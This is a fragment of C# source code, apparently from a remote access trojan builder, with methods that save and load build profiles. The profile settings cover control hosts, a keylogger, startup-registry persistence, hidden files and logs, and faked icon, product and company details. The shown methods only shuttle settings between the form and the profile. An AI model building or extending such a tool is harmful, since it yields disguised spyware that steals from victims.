private void SaveProfile(string profilename) { var profile = new KurulumProfili(profilename); profile.Etiket = txtTag.Text; profile.Hostlar = HostYardımcısı.GetRawHosts(_hosts); profile.Şifre = txtPassword.Text; profile.Gecikme = (int)numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.ClientKurumu = chkInstall.Checked; profile.Yüklemeİsmi = txtInstallname.Text; profile.KurulumDizini = GetInstallPath(); profile.SubDirYükle = txtInstallsub.Text; profile.DosyaSakla = chkHide.Checked; profile.BaşlangıcaEkle = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.İkonDeğiştir = chkChangeIcon.Checked; profile.IconPath = txtIconPath.Text; profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; profile.Keylogger = chkKeylogger.Checked; profile.LogDirectoryName = txtLogDirectoryName.Text; profile.HideLogDirectory = chkHideLogDirectory.Checked; profile.Ürünİsmi = txtProductName.Text; profile.Açıklama = txtDescription.Text; profile.Şirketİsmi = txtCompanyName.Text; profile.TelifHakkı = txtCopyright.Text; profile.Trademarks = txtTrademarks.Text; profile.OriginalFilename = txtOriginalFilename.Text; profile.ÜrünVersiyonu = txtProductVersion.Text; profile.DosyaVersiyonu = txtFileVersion.Text; }
private void LoadProfile(string profilename) { var profile = new KurulumProfili(profilename); foreach (var host in HostYardımcısı.GetHostsList(profile.Hostlar)) { _hosts.Add(host); } Hostlar.DataSource = new BindingSource(_hosts, null); txtTag.Text = profile.Etiket; txtPassword.Text = profile.Şifre; numericUpDownDelay.Value = profile.Gecikme; txtMutex.Text = profile.Mutex; chkInstall.Checked = profile.ClientKurumu; txtInstallname.Text = profile.Yüklemeİsmi; GetInstallPath(profile.KurulumDizini).Checked = true; txtInstallsub.Text = profile.SubDirYükle; chkHide.Checked = profile.DosyaSakla; chkStartup.Checked = profile.BaşlangıcaEkle; txtRegistryKeyName.Text = profile.RegistryName; chkChangeIcon.Checked = profile.İkonDeğiştir; txtIconPath.Text = profile.IconPath; chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; chkKeylogger.Checked = profile.Keylogger; txtLogDirectoryName.Text = profile.LogDirectoryName; chkHideLogDirectory.Checked = profile.HideLogDirectory; txtProductName.Text = profile.Ürünİsmi; txtDescription.Text = profile.Açıklama; txtCompanyName.Text = profile.Şirketİsmi; txtCopyright.Text = profile.TelifHakkı; txtTrademarks.Text = profile.Trademarks; txtOriginalFilename.Text = profile.OriginalFilename; txtProductVersion.Text = profile.ÜrünVersiyonu; txtFileVersion.Text = profile.DosyaVersiyonu; _profileLoaded = true; }